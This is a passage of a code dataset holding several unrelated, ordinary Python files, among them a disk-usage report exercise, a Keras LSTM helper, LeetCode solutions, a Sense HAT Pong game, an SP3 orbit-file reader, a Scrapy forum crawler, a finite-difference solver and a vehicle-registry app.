int(tamanho) / (2**10) ** 2\n \npath = 'Documents/02_Python/02-05_Python Pro/Fundamentos do Python/'\nwith open(path + 'usuarios.txt', 'r') as arquivo:\n for linha in arquivo:\n linha = linha.strip()\n usuario = linha[:15]\n tamanho_em_disco = transformar_em_MB(linha[16:])\n lista_de_dados.append((tamanho_em_disco, usuario))\n \nlista_de_dados.sort(reverse=True)\n\ntotal_consumido = sum([tamanho for tamanho,_ in lista_de_dados])\nmedia = total_consumido/len(lista_de_dados)\n\nwhile True:\n try: \n n = int(input(\"Digite quantos você deseja ver: \"))\n if 0 < n <= len(lista_de_dados): break\n print(f'Inserir um numero entre 0 e {len(lista_de_dados)}')\n except ValueError: print(\"inserir um valor inteiro\")\n \nlista_de_dados = lista_de_dados[:n]\n\ncabecario = '''ACME Inc. Uso do espaço em disco pelos usuários\n------------------------------------------------------------------------\nNr. Usuário Espaço utilizado % do uso\n'''\n\nwith open(path + 'relatorio.txt', 'w') as arquivo:\n arquivo.writelines(cabecario)\n \n for indice, dados in enumerate(lista_de_dados, start=1):\n tamanho_mb, usuario = dados\n arquivo.writelines(\n f'{indice:<4} {usuario} {tamanho_mb:9.2f} MB '\n f'{tamanho_mb/total_consumido:>6.2%}\\n') # ou {tamanho_mb/total_consumido*100:>5.2f}%\n \n arquivo.writelines('\\n') \n arquivo.writelines(f'Espaço total ocupado: {total_consumido:>.2f} MB\\n')\n arquivo.writelines(f'Media espaço ocupado: {media:>.2f} MB')\n","sub_path":"ListaDeExerciciosProjetos/Ex_01.py","file_name":"Ex_01.py","file_ext":"py","file_size_in_byte":3871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"457470472","text":"#importing required libraries\nfrom sklearn.preprocessing import MinMaxScaler\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, LSTM, Activation\nfrom keras.models import model_from_json\n\ndef get_model(in_shape):\n model = Sequential()\n\n # input layer\n model.add(Dense(128, input_shape=in_shape))\n\n # LSTM\n model.add(LSTM(units=128, return_sequences=True))\n model.add(LSTM(units=128, return_sequences=True))\n model.add(LSTM(units=128, return_sequences=True))\n model.add(LSTM(units=128))\n\n # output layer\n model.add(Dense(1))\n return model\n\ndef save(model, name):\n # serialize model to JSON\n model_json = model.to_json()\n with open('models/'+name+\"_model.json\", \"w\") as json_file:\n json_file.write(model_json)\n # serialize weights to HDF5\n model.save_weights('models/'+name+\"_model.h5\")\n print(\"Saved model to disk\")\n\ndef load(name):\n # load json and create model\n json_file = open('models/'+name+'_model.json', 'r')\n loaded_model_json = json_file.read()\n json_file.close()\n loaded_model = model_from_json(loaded_model_json)\n # load weights into new model\n loaded_model.load_weights('models/'+name+\"_model.h5\")\n print(\"Loaded model from disk\")\n return loaded_model\n","sub_path":"ANNA/neural_net.py","file_name":"neural_net.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"290192188","text":"class Solution:\n def nthUglyNumber(self, n: int) -> int:\n ugly = [1]\n id2,id3,id5=0,0,0\n f2,f3,f5=2,3,5\n for i in range(1,n):\n num_min = min(f2,f3,f5)\n ugly.append(num_min)\n if num_min == f2:\n id2 = id2+1\n f2 = ugly[id2]*2\n if num_min == f3:\n id3 = id3+1\n f3 = ugly[id3]*3\n if num_min == f5:\n id5 = id5+1\n f5 = ugly[id5]*5\n return ugly[-1]\n\nsolution = Solution()\na = solution.nthUglyNumber(10)\nprint(a)","sub_path":"leetcode264.py","file_name":"leetcode264.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"232656273","text":"#Used an offical RPi Project, the website provided general guidelines to complete the code,\n#This is the code to run PONG on the sense hat.\n#https://projects.raspberrypi.org/en/projects/sense-hat-pong\n\nfrom sense_hat import SenseHat\nfrom time import sleep\n\n\nsense = SenseHat()\nred = (255,0,0)\nsense.clear()\nbat_y = 4\nball_position = [3, 3]\nball_velocity = [1, 1]\n\ndef draw_bat():\n sense.set_pixel(0,bat_y, 0,0,255)\n sense.set_pixel(0,bat_y-1, 0,0,255)\n sense.set_pixel(0,bat_y+1, 0,0,255)\n\ndef draw_ball():\n sense.set_pixel(ball_position[0],ball_position[1], 0,255,0)\n ball_position[0] += ball_velocity[0]\n if ball_position[0] == 7 or ball_position[0] == 0:\n ball_velocity[0] = -ball_velocity[0]\n if ball_position[0] == 1 and (bat_y - 1) <= ball_position[1] <= (bat_y + 1):\n ball_velocity[0] = -ball_velocity[0]\n if ball_position[0] == 0:\n sense.show_message(\"You Lose\")\n\n\ndef move_up(event):\n global bat_y\n if event.action =='pressed' and bat_y > 1:\n bat_y -= 1;\n\n\n\ndef move_down(event):\n global bat_y\n if event.action =='pressed' and bat_y < 6:\n bat_y += 1;\n \n#main\nsense.stick.direction_up = move_up\nsense.stick.direction_down = move_down\nwhile True:\n sense.clear(0, 0, 0)\n draw_bat()\n draw_ball()\n sleep (0.25)\n\n","sub_path":"SYSC3010-lab2-master/lab2-hardware-step3.py","file_name":"lab2-hardware-step3.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"581576110","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jul 13 14:50:28 2019\n\n@author: smrak\n\"\"\"\n\nimport xarray\nimport numpy as np\nfrom datetime import datetime\n\ndef sp3(f):\n with open(f, 'r') as F:\n # Read in the context\n sp3 = F.readlines()[:-1] #22\n # Number of active satellites\n svnumline = sp3[2]\n svnum = int(svnumline.split()[1])\n skip = svnum + 1\n # Skip header\n sp3 = sp3[22:]\n # Paramter initialization\n svlist = np.array([l[1:4] for l in sp3[1:skip]])\n ecef = np.nan * np.ones((svlist.size,len(sp3[::skip]), 3), dtype=np.float32)\n clock = np.nan * np.ones((svlist.size, len(sp3[::skip])), dtype=np.float32)\n # Read in data\n # 1) Time\n navtimes = np.array([datetime.strptime(l.strip('\\n')[3:-2], \"%Y %m %d %H %M %S.%f\") for l in sp3[::skip]], dtype='datetime64[s]')\n for i, sv in enumerate(svlist):\n sp3 = sp3[1:]\n for j in range(navtimes.size):\n ecef[i,j,:] = np.array([x for x in sp3[::skip][j][4:-1].lstrip().rstrip().split(' ') if x][:3], dtype=np.float32)\n clock[i,j] = np.float32(sp3[::skip][0][47:60])\n F.close()\n\n nav = xarray.Dataset(coords={'time': navtimes, 'sv': svlist, 'xyz' : ['ecefx', 'ecefy', 'ecefz']})\n nav['ecef'] = (('sv', 'time', 'xyz'), ecef)\n nav['clock'] = (('sv', 'time'), clock)\n \n return nav","sub_path":"georinex/navsp3.py","file_name":"navsp3.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"634530451","text":"# -*- coding: utf-8 -*-\n'''\n演示自动化爬取\n'''\nimport scrapy\nfrom scrapy.spiders import CrawlSpider, Rule\nfrom scrapy.linkextractors import LinkExtractor\nfrom day13.xtqspider.xtqspider.items import XtqspiderItem\n\n\n# 修改父类 CrawlSpider\nclass Xtq3Spider(CrawlSpider):\n name = 'xtq3'\n allowed_domains = ['zynews.cn']\n start_urls = ['https://xtq.zynews.cn/wzpostlist.php?mod=list']\n\n # 匹配翻页链接 可以使用re,css,xpath\n # link_page = LinkExtractor(restrict_xpaths=('//a[@class=\"nxt\"]'))\n # link_page = LinkExtractor(restrict_css='a.next')\n # 使用正则不用担心匹配可能会重复，自带去重\n link_page = LinkExtractor(allow=(r'wzpostlist\\.php\\?mod=list'))\n # 匹配详情链接\n link_item = LinkExtractor(restrict_xpaths=('//div[@class=\"bm_c\"]//tr/th[@class=\"new\"]/a'))\n # 定义规则\n rules = [\n Rule(link_page, follow=True),\n Rule(link_item, callback='parse_detail',follow=False)\n ]\n\n def parse_detail(self, response):\n '''\n 进行详情页数据的提取\n :param response:响应对象，它包含了响应信息\n :return:\n '''\n print('parse_detail函数执行了')\n # print(response.url)\n # 获取详情页数据\n title = response.xpath('//a[@id=\"thread_subject\"]/text()').extract()[0].strip()\n detail_url = response.url\n\n # 提取招聘信息条目的列表\n complainant_list = response.xpath('//div[@id=\"postlist\"]/div/table/tr[1]')\n print(f'complainant_len:{len(complainant_list)}')\n for each in complainant_list:\n complainant = \\\n each.xpath('.//a[@class=\"xw1\"]/text()').extract()[0].strip()\n detail_text = each.xpath('.//td[@class=\"t_f\"]/text()').extract()\n detail_text = ''.join(detail_text).strip()\n pub_date = each.xpath('.//td[@class=\"plc\"]//div[@class=\"pti\"]/div[@class=\"authi\"]/em/text()').extract()[\n 0].strip()\n self.log(f'title:{title}')\n self.log(f'detail_url:{detail_url}')\n self.log(f'detail_text:{detail_text}')\n self.log(f'complainant:{complainant}')\n self.log(f'pub_date:{pub_date}')\n # 存储\n # item = XtqspiderItem()\n # item['title'] = title\n # item['detail_url'] = detail_url\n # item['detail_text'] = detail_text\n # item['complainant'] = complainant\n # item['pub_date'] = pub_date\n #\n # # 把提交给管道pipeline\n # yield item\n\n","sub_path":"pachong/PCdemo1/day13/xtqspider/xtqspider/spiders/xtq3.py","file_name":"xtq3.py","file_ext":"py","file_size_in_byte":2580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"316082926","text":"\nfrom tp2 import *\nfrom math import pi\nfrom time import clock\n\n#Exercice 3\n\n\n#f) \n\nprint('Test trapeze :\\n')\n\np = trapeze(f,-0.5,0.5,10) \nprint(p)\nprint('\\n')\n\n#g)\n\n\nI = sqrt(3)/4+ pi/6 #Integrale calcule a la main\nn = \"n\"\nd = \"erreur\"\nt = \"temps (sec.)\"\n\nprint('{0:10}| {1:10} | {2:10}'.format(n,d,t))\n\nt = \"----------------------------------------------\"\nprint( t)\n\nfor i in range(1, 6):\n\tt6 = clock()\n\tp = trapeze(f,-0.5,0.5,10**i)\n\tt7 = clock()\n\tV = abs(p-I)\n\tt8 = t7-t6\n\n\tprint('{0:10}|{1:10}|{2:10}'.format(10**i,V,t8))\n\n","sub_path":"2017/Comptes-Rendus/TP2/Selsane_Manel/exo3.py","file_name":"exo3.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"154014819","text":"#-*-coding:utf-8-*-\r\n\r\n#\r\n#\r\n# / \\~~~/ \\\r\n# ,----( .. )\r\n# / \\__ __/\r\n# /| (\\ |(\r\n# ^ \\ /___\\ /\\ | \r\n# |__| |__|-\" \r\n#\r\n\r\nprixCD = 10.99\r\nquantiteAchat = 7\r\nenCaisse = 2 * 50\r\nmontantRetour = 0\r\nmontantAchat = 0\r\n\r\nmontantAchat = (prixCD * quantiteAchat)\r\nmontantRetour = (enCaisse - montantAchat)\r\n\r\nprint(f\"Nathan a {enCaisse} dollars.\")\r\nprint(f\"Le prix de l'achat est {montantAchat} dollars.\")\r\nprint(f\"On lui remettra {round(montantRetour,2)} dollars suite à cette achat.\")","sub_path":"achatcd.py","file_name":"achatcd.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"293532917","text":"import numpy as np\n\n# Define finite difference coefficients\n# https://en.wikipedia.org/wiki/Finite_difference_coefficient\ncoeffs = {\n # Central difference\n 'central':\n # 1st deriv, 2nd and 4th order accuracy\n [{2: [(-1, -0.5), (1, 0.5)],\n 4: [(-2, 1/12), (-1, -2/3), (1, 2/3), (-1/12)]},\n # 2nd deriv, 2nd and 4th order accuracy\n {2: [(-1, 1), (0, -2), (1, 1)],\n 4: [(-2, -1/12), (-1, 4/3), (0, -5/2), (1, 4/3), (2, -1/12)]},\n # 3rd deriv, 2nd and 4th order accuracy\n {2: [(-2, -1/2), (-1, 1), (1, -1), (2, 1/2)],\n 4: [(-3, 1/8), (-2, -1), (-1, 13/8),\n (1, -13/8), (2, 1), (3, -1/8)]}],\n 'forward':\n # 1st deriv, 1st - 3rd order accuracy\n [{1: [(0, -1), (1, 1)],\n 2: [(0, -3/2), (1, 2), (2, -1/2)],\n 3: [(0, -11/6), (1, 3), (2, -3/2), (3, 1/3)]},\n # 2nd deriv, 1st - 3rd order accuracy\n {1: [(0, 1), (1, -2), (2, 1)],\n 2: [(0, 2), (1, -5), (2, 4), (3, -1)],\n 3: [(0, 35/12), (1, -26/3), (2, 19/2), (3, -14/3), (11/12)]},\n # 3rd deriv, 1st - 3rd order accuracy\n {1: [(0, -1), (1, 3), (2, -3), (3, 1)],\n 2: [(0, -5/2), (1, 9), (2, -12), (3, 7), (4, -3/2)],\n 3: [(0, -17/4), (1, 71/4), (2, -59/2),\n (3, 49/2), (4, -41/4), (5, 7/4)]}],\n 'backward':\n # 1st deriv, 1st and 2nd order accuracy\n [{1: [(0, 1), (-1, -1)],\n 2: [(0, 3/2), (-1, -2), (-2, 1/2)]},\n # 2nd deriv, 1st - 3rd order accuracy\n {1: [(0, 1), (-1, -2), (-2, 1)],\n 2: [(0, 2), (-1, -5), (-2, 4), (-3, -1)]},\n # 3rd deriv, 1st - 3rd order accuracy\n {1: [(0, 1), (-1, -3), (-2, 3), (-3, -1)],\n 2: [(0, 5/2), (-1, -9), (-2, 12), (-3, -7), (-4, 3/2)]}]\n}\n\n\ndef shift(f_shape, shift, axis, n_ghosts=4):\n \"\"\"\n Return slice objects to correctly index padded array to get shifted array.\n \"\"\"\n indices = [slice(None, None, None)] * len(f_shape)\n if shift-n_ghosts == 0:\n indices[axis] = slice(n_ghosts+shift, None, None)\n else:\n indices[axis] = slice(n_ghosts+shift, shift-n_ghosts, None)\n return indices\n\n\ndef set_boundaries(f):\n \"\"\"\n Set values for boundaries of domain to constant value\n \"\"\"\n newf = np.zeros(f.shape) * f.unit\n indices = [slice(1, -1, None)] * len(f.shape)\n newf[indices] = f[indices]\n\n return newf\n\n\nclass Solver():\n def __init__(self, dx, method='central', deriv=1, acc=2):\n \"\"\"Create a callable instance to calculate derivatives of order `deriv`.\n Sets up the solver to use forward, backward or central differences for\n the specified derivative at accuracy corresponding to `acc`.\n\n Parameters\n ----------\n\n dx : tuple of floats\n Tuple of spatial step-sizes corresponding to each dimension of the\n simulation domain.\n method : str {'central' | 'forward' | 'backward'}\n Flavour of finite difference method to use.\n deriv : int {1 | 2 | 3}\n Order of the derivative to calculate with this Solver instance.\n Default is first derivative.\n acc : int\n Order of accuracy of derivative.\n Valid values are:\n - 2 or 4 for central difference;\n - 1, 2 or 3 for forward difference;\n - 1 or 2 for backward difference.\n \"\"\"\n assert method in coeffs.keys(), \"\"\"\n Invalid spatial solver method - must be one of {}\n \"\"\".format(coeffs.keys())\n\n # Define number of ghost cells on either side of the solution grid\n self.n_ghosts = 4\n\n # Define step-size and finite difference coefficients for spatial\n # differentiation\n self.dx = dx\n self.deriv = deriv\n self.method = method\n self.coeffs = coeffs[method][deriv-1][acc]\n\n def __call__(self, f, axis):\n \"\"\"Calculates the derivative of function f with respect to the specified\n axis.\n\n Parameters\n ----------\n\n f : numpy.ndarray (x, y, z)\n Values of some function f(x, y, z) at every point in a 3D range.\n axis : int [0 | 1 | 2]\n Direction in which to calculate the derivative. 0, 1 and 2\n correspond to the x, y and z axes, respectively.\n \"\"\"\n assert axis in [0, 1, 2], \"\"\"\n Invalid axis identifier passed to spatial solver.\"\"\"\n\n # Nest supplied array inside a larger array with n_ghosts ghost cells\n # either side in the direction of differentiation\n padding = [(0, 0)] * len(f.shape)\n if self.method == 'central':\n padding[axis] = (self.n_ghosts, self.n_ghosts)\n elif self.method == 'forward':\n padding[axis] = (0, self.n_ghosts*2)\n f = np.pad(f, padding, 'edge') * f.unit\n\n # Differentiate the array\n dfdx = sum([f[shift(f.shape, c[0], axis)] * c[1] for c in self.coeffs])\\\n / (self.dx[axis] ** self.deriv)\n\n return dfdx\n","sub_path":"plasmapy/numerical/spatial_solvers.py","file_name":"spatial_solvers.py","file_ext":"py","file_size_in_byte":5031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"459583899","text":"#! /bin/env python2\n\nimport numpy\nimport random\nimport sys\nfrom scipy import misc\n\nminheight = int(sys.argv[2])\nmaxheight = int(sys.argv[3]) \nminwidth = int(sys.argv[4]) \nmaxwidth = int(sys.argv[5])\n\nfor i in range(int(sys.argv[1])):\n height = random.randint(minheight, maxheight) \n width = random.randint(minwidth, maxwidth) \n pixel = [random.randint(1, 255),\n random.randint(1, 255),\n random.randint(1, 255),\n 255]\n img = numpy.array(pixel * height * width)\n img.shape = (height, width, len(pixel)) \n for j in range(width):\n img[0, j] = [0, 0, 0, 255]\n img[1, j] = [0, 0, 0, 255]\n img[2, j] = [0, 0, 0, 255]\n img[height - 1, j] = [0, 0, 0, 255]\n img[height - 2, j] = [0, 0, 0, 255]\n img[height - 3, j] = [0, 0, 0, 255]\n for k in range(height):\n img[k, 0] = [0, 0, 0, 255]\n img[k, 1] = [0, 0, 0, 255]\n img[k, 2] = [0, 0, 0, 255]\n img[k, width - 1] = [0, 0, 0, 255]\n img[k, width - 2] = [0, 0, 0, 255]\n img[k, width - 3] = [0, 0, 0, 255]\n misc.imsave(str(i) + '.png', img)\n","sub_path":"generate_test_images.py","file_name":"generate_test_images.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"106787250","text":"\"\"\"\nРазработать приложение для учета и обработки данных о транспортных средствах.\nДля каждого транспортного средства фиксируется название фирмы-владельца (строка)\nи год выпуска (целое число).\n\nТранспортные средства делятся на две разновидности: автомобили и троллейбусы.\nДля автомобиля фиксируется пробег в тысячах километров (вещественное\nчисло), а для троллейбуса – срок нахождения в эксплуатации в годах (целое\nчисло) и номер маршрута (целое число).\n\nСоздать список транспортных средств.\nПредусмотреть выполнение следующих операций: \n1. Вывод данных по всем транспортным средствам.\nДля каждого транспортного средства выдать: название фирмы,\nразновидность транспортного средства и его категорию.\nКатегория вычисляется как целое число.\n\nПравила вычисления категории автомобиля:\n\n1-я категория: пробег меньше 100.0 \n2-я категория: пробег от 100.0 до 500.0 включительно \n3-я категория: пробег больше 500.0\n\nПравила вычисления категории троллейбуса:\n\n1-я категория: срок эксплуатации меньше 1 года \n2-я категория: срок эксплуатации от 1 года до 3 лет \n3-я категория: срок эксплуатации больше 3 лет\n\n2. Вычисление количества троллейбусов, эксплуатирующихся на заданном\nпользователем маршруте \n\n\"\"\"\n\n###############################################################################\nimport random\n\nclass Venicle:\n '''Общее для автомобиля и автобуса'''\n def __init__(self, owner_name, release_year):\n self.owner_name = owner_name\n self.release_year = release_year\n \n def __str__ (self):\n s = \"Фирма: {},\\nТип т.с.: {},\\nКатегория т.с.: {}\\n\".format(\n self.owner_name, self.type, self.category)\n return s\n\nclass Car(Venicle):\n def __init__(self, owner_name, release_year, mileage):\n Venicle.__init__(self, owner_name, release_year)\n self.type = \"Автомобиль\"\n self.mileage = mileage or int(input('Введите пробег (тыс. км): '))\n \"\"\"Если при генерации пробег составит 0 тыс. км, то вызывается ручной\n ввод. Часть с ручным вводом была оставлена на случай если\n потребуется создать список ТС вручную.\n\n \"\"\"\n self.set_category()\n\n def set_category(self):\n if self.mileage < 100.0:\n self.category = 1\n elif self.mileage >= 100 and self.mileage <= 500:\n self.category = 2\n elif self.mileage > 500:\n self.category = 3\n else:\n print('Была обнаружена неизвестная ошибка')\n \nclass TBus(Venicle):\n def __init__(self, owner_name, release_year, exp_time, route_number):\n Venicle.__init__(self, owner_name, release_year)\n self.type = \"Троллейбус\"\n self.exp_time = exp_time or int(input(\n 'Введите срок эксплуатации (года): '))\n self.route_number = route_number or int(input(\n 'Введите номер маршрута: '))\n self.set_category()\n \n def set_category(self):\n if self.exp_time < 1:\n self.category = 1\n elif self.exp_time >= 1 and self.exp_time <= 3:\n self.category = 2\n elif self.exp_time > 3:\n self.category = 3\n else:\n print('Была обнаружена неизвестная ошибка') \n \ndef venicles_generator(): #Вручную создать список было бы неинтересно\n \"\"\" Спрашивает число автомобилей и число троллейбусов для генерации.\n Возвращает список объектов классов Автомобиль и Троллейбус.\n \n \"\"\"\n firms = ['Рога и копыта','Везёт','Петрович','МосГорТранс','Ашан',\n 'ЛеруаМерлен','Яндекс']\n list_of_venicles = []\n try:\n car_nbr = int(input('Введите число автомобилей для генерации: '))\n tbus_nbr = int(input('Введите число троллейбусов для генерации: '))\n\n assert car_nbr >= 0 and tbus_nbr >= 0\n except ValueError:\n print('Вводите только целые неотрицательные числа')\n return None\n except AssertionError:\n print('Были введены отрицательные количества ТС')\n return None\n \n if car_nbr != 0:\n for i in range (0, car_nbr):\n list_of_venicles.append(Car(random.choice(firms),\n random.randint(1998, 2019),\n random.randint(0, 800)))\n if tbus_nbr != 0:\n for i in range (0, tbus_nbr):\n list_of_venicles.append(TBus(random.choice(firms),\n random.randint(1998, 2019),\n random.uniform(0, 8),\n random.randint(1, 17)))\n if tbus_nbr + car_nbr == 0:\n print('Невозможно сгенерировать пустой список ТС.')\n return None\n \n print ('Список транспортных средств успешно сгенерирован.',\\\n 'Было сгенерировано {} автомобилей и {} троллейбусов.'.format(\n car_nbr, tbus_nbr), sep = '\\n', end = '\\n\\n')\n return list_of_venicles\n\ndef data_show(list_of_venicles):\n '''Выводит данные по всем транспортным средствам'''\n print('Вот данные по всем ТС:', end = '\\n\\n')\n for i in list_of_venicles:\n print(i)\n \ndef bus_on_route_cnt(list_of_venicles):\n ''' Принимает список транспортных средств.\n Принято, что всего 17 маршрутов от 1 до 17.\n Номер маршрута вводит пользователь.\n Выводит на экран число автобусов на данном номере маршрута.\n \n '''\n cnt = 0\n route_nbr = int(input('Введите номер маршрута: '))\n for venicle in list_of_venicles:\n if venicle.type == \"Троллейбус\":\n if venicle.route_number == route_nbr:\n cnt += 1\n print('На маршруте №{} действует {} троллейбуса(-ов)'.format(route_nbr,cnt))\n\ndef menu():\n '''UI приложения для учета и обработки данных о транспортных средствах'''\n print('Добро пожаловать в приложение учета и обработки данных о',\n 'транспортных средствах.')\n database = None\n while True:\n try:\n print('1. Сформировать новый список ТС.',\\\n '2. Вывести данные по всем ТС.',\\\n '3. Вычислить количество троллейбусов на маршруте.',\\\n '4. Выход', sep = ('\\n'), end = ('\\n'))\n choise = int(input('Выберите действие: '))\n \n assert choise in range(5)\n except AssertionError:\n print('Нет такого пункта меню.')\n continue\n except ValueError:\n print('Введите целое число от 1 до 4.')\n continue\n \n if choise == 1:\n database = venicles_generator()\n \n elif choise == 2:\n if database is None:\n print ('Сначала создайте список ТС')\n continue\n else:\n data_show(database)\n \n elif choise == 3:\n if database is None:\n print ('Сначала создайте список ТС')\n continue\n else:\n bus_on_route_cnt(database)\n \n elif choise == 4:\n print('Завершение сеанса.')\n break\n\n\n###############################################################################\n \nif __name__ == \"__main__\":\n menu()\n\n\n\n\n \n","sub_path":"Small projects/Разминочные задачки/Task.py","file_name":"Task.py","file_ext":"py","file_size_in_byte":9563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"366326668","text":"import sys\n\nclass Solution:\n \"\"\"\n @param numbers: Give an array numbers of n integer\n @param target : An integer\n @return : return the sum of the three integers, the sum closest target.\n \"\"\"\n def threeSumClosest(self, numbers, target):\n\n if numbers is None or len(numbers) < 3:\n return -1\n\n numbers.sort()\n\n ret = sys.maxint\n for i in xrange(0, len(numbers) - 2):\n left = i + 1\n right = len(numbers) - 1\n\n while left < right:\n _sum = numbers[i] + numbers[left] + numbers[right]\n\n if _sum == target:\n return _sum\n\n elif _sum < target:\n left += 1\n\n else:\n right -= 1\n\n if abs(_sum - target) < abs(ret - target):\n ret = _sum\n\n return ret\n","sub_path":"array/3sum_closest.py","file_name":"3sum_closest.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"193033282","text":"import time\nimport os\nimport track_maps\nimport sys\nimport glob\n\ntrain_loc = \"../data/train/*\"\ntest_loc = \"../data/test/*\"\nmeta_loc = \"../data/metadata.txt\"\n\ndef folder_loop(set_loc,unique_songs,i):\n\tmostSongs = -1*sys.maxint\n\tleastSongs = sys.maxint\n\tnumSongs = 0\n\tnumSets = 0\n\tall_sets = glob.glob(set_loc)\n\tfor setlist in all_sets:\n\t\tm_cluster_tracks = track_maps.readSetClusters(setlist)\n\t\tls = m_cluster_tracks[\"tracks\"]\n\t\tunique_songs[i].extend(ls)\n\t\tnum = len(ls)\n\t\tif num > mostSongs:\n\t\t\tmostSongs = num\n\t\tif num < leastSongs:\n\t\t\tleastSongs = num\n\t\tnumSongs = numSongs + num\n\t\tnumSets = numSets + 1\n\treturn (mostSongs,leastSongs,numSongs,numSets)\n\ndef makeMeta(info,unique_songs):\n\ttrain = []\n\ttrain_mostSongsPerSet = info[0][0]\n\ttrain.append(train_mostSongsPerSet)\n\ttrain_leastSongsPerSet = info[0][1]\n\ttrain.append(train_leastSongsPerSet)\n\ttrain_numSongs = info[0][2]\n\ttrain.append(train_numSongs)\n\ttrain_numSets = info[0][3]\n\ttrain.append(train_numSets)\n\tif train_numSets == 0: train_numSets = 1\n\ttrain_avgSongsPerSet = train_numSongs/train_numSets\n\ttrain.append(train_avgSongsPerSet)\n\n\ttest = []\n\ttest_mostSongsPerSet = info[1][0]\n\ttest.append(test_mostSongsPerSet)\n\ttest_leastSongsPerSet = info[1][1]\n\ttest.append(test_leastSongsPerSet)\n\ttest_numSongs = info[1][2]\n\ttest.append(test_numSongs)\n\ttest_numSets = info[1][3]\n\ttest.append(test_numSets)\n\tif test_numSets == 0: test_numSets = 1\n\ttest_avgSongsPerSet = test_numSongs/test_numSets\n\ttest.append(test_avgSongsPerSet)\n\t\n\tallSets = train_numSets + test_numSets\n\tallSongs = train_numSongs + test_numSongs\n\tf = open(meta_loc,\"w\")\n\tcombined_list = []\n\tcombined_list.extend(unique_songs[0])\n\tcombined_list.extend(unique_songs[1])\n\tunique_songs[0] = list(set(unique_songs[0]))\n\tunique_songs[1] = list(set(unique_songs[1]))\n\tfeat = track_maps.getTrack()\n\tmissed = track_maps.getMissed()\n\tf.write(\"\\nTotal Songs Across Thresholds: \" + str(len(feat)) + \"\\n\")\n\tf.write(\"Total Missed: \" + str(len(missed)) + \"\\n\\n\")\n\tfolderMeta(\"Training Data\",train,f,unique_songs[0])\n\tfolderMeta(\"Testing Data\",test,f,unique_songs[1])\n\tf.write(\"Total Sets: \" + str(allSets) + \"\\n\")\n\tf.write(\"Total Songs: \" + str(allSongs) + \"\\n\")\n\ttotal_unique = list(set(combined_list))\n\tf.write(\"Total Unique Songs: \" + str(len(total_unique)) + \"\\n\")\n\trat = float(test_numSets)/float(train_numSets)\n\tf.write(\"Test:Train Set Ratio: \" + str(rat) + \"\\n\")\n\tf.close()\n\tf = open(meta_loc,\"r\")\n\tprint(f.read())\n\tf.close()\n\ndef folderMeta(title,ls,f,unique_songs):\n\tf.write(title + \"\\n\\n\")\n\tf.write(\"Most songs per set: \" + str(ls[0]) + \"\\n\")\n\tf.write(\"Least songs per set: \" + str(ls[1]) + \"\\n\")\n\tf.write(\"Total songs: \" + str(ls[2]) + \"\\n\")\n\tf.write(\"Total sets: \" + str(ls[3]) + \"\\n\")\n\tf.write(\"Average songs per set: \" + str(ls[4]) + \"\\n\")\n\tf.write(\"Unique songs: \" + str(len(unique_songs)) + \"\\n\\n\")\n\ndef run_script():\n\tinfo = []\n\tunique_songs = []\n\tunique_songs.append([])\n\tunique_songs.append([])\n\tinfo.append(folder_loop(train_loc,unique_songs,0))\n\tprint(\"Finished Analyzing Training Data\")\n\tinfo.append(folder_loop(test_loc,unique_songs,1))\n\tprint(\"Finished Analyzing Testing Data\")\n\tmakeMeta(info,unique_songs)\n","sub_path":"code/meta_train_test.py","file_name":"meta_train_test.py","file_ext":"py","file_size_in_byte":3138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"545538008","text":"#-*- encoding: utf-8 -*-\nimport sys\nr=sys.stdin.readline\n\nyour_name = 'Stan' # 당신의 이름을 입력하세요\n\ndef say_number():\n return int(r())\n\ndef game_over(): \n exit()\n\ndef Is_it_right():\n return r().rstrip()\n\ndef Are_you_honest(correct_answer, game_set):\n for higher_number in game_set['high']:\n if higher_number <= correct_answer:\n print(your_name, 'is dishonest')\n return 0\n \n for lower_number in game_set['low']:\n if lower_number >= correct_answer:\n print(your_name, 'is dishonest')\n return 0\n \n print(your_name, 'may be honest')\n \ndef reset():\n return {'high':[], 'low':[]}\n\n# Game Start\nif __name__ == '__main__':\n game_set = {'high':[], 'low':[]}\n \n while 1:\n number = say_number() # 상대방은 숫자를 말하게 됩니다.\n \n if number == 0: # 0을 말하게 된다면 게임은 종료됩니다.\n game_over()\n \n your_answer = Is_it_right() # 숫자가 맞나요? 당신의 대답은?\n \n if your_answer == 'too high': # 당신이 생각한 숫자보다 높다면 'high' 패에 숫자를 입력합니다.\n game_set['high'].append(number)\n \n elif your_answer == 'too low': # 당신이 생각한 숫자보다 낮다면 'low' 패에 숫자를 입력합니다.\n game_set['low'].append(number)\n \n elif your_answer == 'right on': # 당신이 생각한 숫자를 말했다면\n Are_you_honest(number, game_set) # 당신이 여태까지 한 대답 중 거짓말을 한 게 있는지 체크하게 됩니다.\n game_set = reset() # 이번 라운드는 종료되었습니다. 게임 패가 리셋됩니다.\n","sub_path":"Algorithm/Baekjoon/04335 숫자 